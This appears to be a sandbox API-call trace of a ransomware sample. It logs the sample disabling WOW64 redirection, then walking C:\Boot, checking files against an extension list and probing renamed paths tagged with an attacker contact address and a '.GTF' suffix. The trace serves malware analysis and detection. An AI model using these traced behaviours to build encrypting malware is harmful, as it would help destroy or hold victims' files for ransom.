	[0170.461] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0170.891] GetTickCount () returned 0x113d6af
	[0170.891] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0171.179] GetTickCount () returned 0x113d7c8
	[0171.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0171.336] GetTickCount () returned 0x113d874
	[0171.336] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0171.897] GetTickCount () returned 0x113daa7
	[0171.898] GetTickCount () returned 0x113daa7
	[0171.898] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0172.197] GetTickCount () returned 0x113dbcf
	[0172.197] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0172.708] GetTickCount () returned 0x113ddd3
	[0172.708] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0172.989] GetTickCount () returned 0x113deec
	[0172.990] GetTickCount () returned 0x113deec
	[0172.990] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0173.167] GetTickCount () returned 0x113dfa8
	[0173.171] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0173.524] GetTickCount () returned 0x113e100
	[0173.524] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0173.903] GetTickCount () returned 0x113e286
	[0173.903] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0174.017] GetTickCount () returned 0x113e2f4
	[0174.017] GetTickCount () returned 0x113e2f4
	[0174.017] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0174.227] GetTickCount () returned 0x113e3bf
	[0174.227] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0174.393] GetTickCount () returned 0x113e46b
	[0174.393] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0174.538] GetTickCount () returned 0x113e4f7
	[0174.538] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0174.657] GetTickCount () returned 0x113e574
	[0174.657] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0174.896] GetTickCount () returned 0x113e65f
	[0174.896] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0175.036] GetTickCount () returned 0x113e6eb
	[0175.036] GetTickCount () returned 0x113e6eb
	[0175.036] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0175.144] GetTickCount () returned 0x113e759
	[0175.144] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0175.578] GetTickCount () returned 0x113e90e
	[0175.578] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0175.876] GetTickCount () returned 0x113ea37
	[0175.876] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0176.055] GetTickCount () returned 0x113eae3
	[0176.055] GetTickCount () returned 0x113eae3
	[0176.055] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0176.310] GetTickCount () returned 0x113ebec
	[0176.310] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0176.478] GetTickCount () returned 0x113ec89
	[0176.478] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0176.592] GetTickCount () returned 0x113ed06
	[0176.592] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0176.849] GetTickCount () returned 0x113ee00
	[0176.849] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0177.051] GetTickCount () returned 0x113eecb
	[0177.051] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0177.269] GetTickCount () returned 0x113efa6
	[0177.269] GetTickCount () returned 0x113efa6
	[0177.269] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0178.129] GetTickCount () returned 0x113f301
	[0178.130] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0178.284] GetTickCount () returned 0x113f39d
	[0178.284] GetTickCount () returned 0x113f39d
	[0178.284] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0178.540] GetTickCount () returned 0x113f497
	[0178.540] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0178.713] GetTickCount () returned 0x113f543
	[0178.713] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0178.989] GetTickCount () returned 0x113f65c
	[0178.989] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0179.439] GetTickCount () returned 0x113f821
	[0179.439] GetTickCount () returned 0x113f821
	[0179.439] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0179.633] GetTickCount () returned 0x113f8dd
	[0179.633] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0179.970] GetTickCount () returned 0x113fa25
	[0179.970] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0180.220] GetTickCount () returned 0x113fb2f
	[0180.220] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0180.582] GetTickCount () returned 0x113fc96
	[0180.582] GetTickCount () returned 0x113fc96
	[0180.583] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0180.944] GetTickCount () returned 0x113fdfd
	[0180.944] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0181.173] GetTickCount () returned 0x113fed8
	[0181.173] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0181.468] GetTickCount () returned 0x1140001
	[0181.468] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0181.606] GetTickCount () returned 0x114008e
	[0181.606] GetTickCount () returned 0x114008e
	[0181.606] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0181.834] GetTickCount () returned 0x1140178
	[0181.834] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0182.328] GetTickCount () returned 0x114036c
	[0182.328] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0182.854] GetTickCount () returned 0x1140570
	[0182.854] GetTickCount () returned 0x1140570
	[0182.854] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0183.218] GetTickCount () returned 0x11406e7
	[0183.218] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0183.556] GetTickCount () returned 0x114082f
	[0183.556] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0183.777] GetTickCount () returned 0x114090a
	[0183.777] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0183.924] GetTickCount () returned 0x11409a6
	[0183.924] GetTickCount () returned 0x11409a6
	[0183.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0184.307] GetTickCount () returned 0x1140b1d
	[0184.307] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0184.641] GetTickCount () returned 0x1140c75
	[0184.641] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x0
	[0184.786] WaitForMultipleObjects (nCount=0x4, lpHandles=0x2acff5c*=0x2d8, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 39
	os_tid = 0xe00

	[0152.731] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x64bf70
	[0152.732] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x65bf78
	[0152.732] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625488
	[0152.732] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622cc8
	[0152.732] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625578
	[0152.732] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x375d020
	[0152.735] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6254e8
	[0152.735] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6254e8, Size=0x20) returned 0x5dde80
	[0152.735] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6255d8
	[0152.735] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6255d8, Size=0x20) returned 0x5ddfe8
	[0152.735] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.735] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.735] Wow64DisableWow64FsRedirection (in: OldValue=0x2c0ff50 | out: OldValue=0x2c0ff50*=0x0) returned 1
	[0152.735] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.735] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dde80 | out: hHeap=0x5a0000) returned 1
	[0152.735] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.735] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfe8 | out: hHeap=0x5a0000) returned 1
	[0152.735] Sleep (dwMilliseconds=0x64) 
	[0152.866] Sleep (dwMilliseconds=0x64) 
	[0153.158] Sleep (dwMilliseconds=0x64) 
	[0153.433] Sleep (dwMilliseconds=0x64) 
	[0153.729] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.729] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.731] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0153.731] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=79200) returned 1
	[0153.733] CloseHandle (hObject=0x340) returned 1
	[0153.735] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20
	[0153.735] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.735] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.735] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.735] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.735] lstrlenW (lpString=".doc") returned 4
	[0153.737] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.737] lstrlenW (lpString=".docx") returned 5
	[0153.737] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.745] lstrlenW (lpString=".pdf") returned 4
	[0153.745] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.745] lstrlenW (lpString=".xls") returned 4
	[0153.745] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.745] lstrlenW (lpString=".xlsx") returned 5
	[0153.745] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.745] lstrlenW (lpString=".ppt") returned 4
	[0153.745] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.745] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.745] lstrlenW (lpString=".zip") returned 4
	[0153.745] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.746] lstrlenW (lpString=".rar") returned 4
	[0153.746] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.746] lstrlenW (lpString=".bz2") returned 4
	[0153.746] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.746] lstrlenW (lpString=".7z") returned 3
	[0153.746] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.753] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.753] lstrlenW (lpString=".dbf") returned 4
	[0153.753] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.756] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.759] lstrlenW (lpString=".1cd") returned 4
	[0153.759] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.759] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.759] lstrlenW (lpString=".jpg") returned 4
	[0153.759] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.760] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.760] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.760] lstrlenW (lpString=".doc") returned 4
	[0153.761] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.761] lstrlenW (lpString=".docx") returned 5
	[0153.761] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.761] lstrlenW (lpString=".pdf") returned 4
	[0153.761] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.761] lstrlenW (lpString=".xls") returned 4
	[0153.769] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.769] lstrlenW (lpString=".xlsx") returned 5
	[0153.769] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.770] lstrlenW (lpString=".ppt") returned 4
	[0153.770] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.770] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.770] lstrlenW (lpString=".zip") returned 4
	[0153.770] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.770] lstrlenW (lpString=".rar") returned 4
	[0153.770] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.770] lstrlenW (lpString=".bz2") returned 4
	[0153.770] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.770] lstrlenW (lpString=".7z") returned 3
	[0153.770] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.770] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.770] lstrlenW (lpString=".dbf") returned 4
	[0153.770] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.770] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.770] lstrlenW (lpString=".1cd") returned 4
	[0153.770] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.770] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0153.770] lstrlenW (lpString=".jpg") returned 4
	[0153.770] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.770] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.770] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0153.770] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.771] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=45984) returned 1
	[0153.771] CloseHandle (hObject=0x3cc) returned 1
	[0153.771] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20
	[0153.771] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.771] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.771] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.771] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.771] lstrlenW (lpString=".doc") returned 4
	[0153.771] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.771] lstrlenW (lpString=".docx") returned 5
	[0153.772] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.772] lstrlenW (lpString=".pdf") returned 4
	[0153.772] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.772] lstrlenW (lpString=".xls") returned 4
	[0153.772] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.772] lstrlenW (lpString=".xlsx") returned 5
	[0153.772] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.772] lstrlenW (lpString=".ppt") returned 4
	[0153.772] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.772] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.772] lstrlenW (lpString=".zip") returned 4
	[0153.772] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.772] lstrlenW (lpString=".rar") returned 4
	[0153.772] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.772] lstrlenW (lpString=".bz2") returned 4
	[0153.772] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.772] lstrlenW (lpString=".7z") returned 3
	[0153.772] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.772] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.772] lstrlenW (lpString=".dbf") returned 4
	[0153.772] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.772] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.772] lstrlenW (lpString=".1cd") returned 4
	[0153.772] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.772] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.772] lstrlenW (lpString=".jpg") returned 4
	[0153.772] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.772] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.772] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.772] lstrlenW (lpString=".doc") returned 4
	[0153.772] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.772] lstrlenW (lpString=".docx") returned 5
	[0153.772] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.772] lstrlenW (lpString=".pdf") returned 4
	[0153.772] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.773] lstrlenW (lpString=".xls") returned 4
	[0153.773] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.773] lstrlenW (lpString=".xlsx") returned 5
	[0153.773] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.773] lstrlenW (lpString=".ppt") returned 4
	[0153.773] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.773] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.773] lstrlenW (lpString=".zip") returned 4
	[0153.773] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.773] lstrlenW (lpString=".rar") returned 4
	[0153.773] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.773] lstrlenW (lpString=".bz2") returned 4
	[0153.773] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.773] lstrlenW (lpString=".7z") returned 3
	[0153.773] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.773] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.773] lstrlenW (lpString=".dbf") returned 4
	[0153.773] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.773] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.773] lstrlenW (lpString=".1cd") returned 4
	[0153.773] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.773] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29
	[0153.773] lstrlenW (lpString=".jpg") returned 4
	[0153.773] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.773] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.773] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.773] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.774] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=80224) returned 1
	[0153.774] CloseHandle (hObject=0x3cc) returned 1
	[0153.774] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20
	[0153.774] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.774] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.774] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.774] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.774] lstrlenW (lpString=".doc") returned 4
	[0153.774] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.774] lstrlenW (lpString=".docx") returned 5
	[0153.774] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.774] lstrlenW (lpString=".pdf") returned 4
	[0153.774] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.774] lstrlenW (lpString=".xls") returned 4
	[0153.774] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.774] lstrlenW (lpString=".xlsx") returned 5
	[0153.774] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.774] lstrlenW (lpString=".ppt") returned 4
	[0153.774] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.774] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.775] lstrlenW (lpString=".zip") returned 4
	[0153.775] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.775] lstrlenW (lpString=".rar") returned 4
	[0153.775] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.775] lstrlenW (lpString=".bz2") returned 4
	[0153.775] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.775] lstrlenW (lpString=".7z") returned 3
	[0153.775] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.775] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.775] lstrlenW (lpString=".dbf") returned 4
	[0153.775] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.775] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.775] lstrlenW (lpString=".1cd") returned 4
	[0153.775] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.775] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.775] lstrlenW (lpString=".jpg") returned 4
	[0153.775] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.775] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.775] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.775] lstrlenW (lpString=".doc") returned 4
	[0153.775] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.775] lstrlenW (lpString=".docx") returned 5
	[0153.775] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.775] lstrlenW (lpString=".pdf") returned 4
	[0153.775] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.775] lstrlenW (lpString=".xls") returned 4
	[0153.775] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.775] lstrlenW (lpString=".xlsx") returned 5
	[0153.775] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.775] lstrlenW (lpString=".ppt") returned 4
	[0153.775] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.775] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.775] lstrlenW (lpString=".zip") returned 4
	[0153.775] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.775] lstrlenW (lpString=".rar") returned 4
	[0153.775] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.776] lstrlenW (lpString=".bz2") returned 4
	[0153.776] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.776] lstrlenW (lpString=".7z") returned 3
	[0153.776] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.776] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.776] lstrlenW (lpString=".dbf") returned 4
	[0153.776] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.776] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.776] lstrlenW (lpString=".1cd") returned 4
	[0153.776] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.776] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0153.776] lstrlenW (lpString=".jpg") returned 4
	[0153.776] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.776] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.776] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0153.776] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.776] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=46496) returned 1
	[0153.776] CloseHandle (hObject=0x3cc) returned 1
	[0153.776] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20
	[0153.777] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
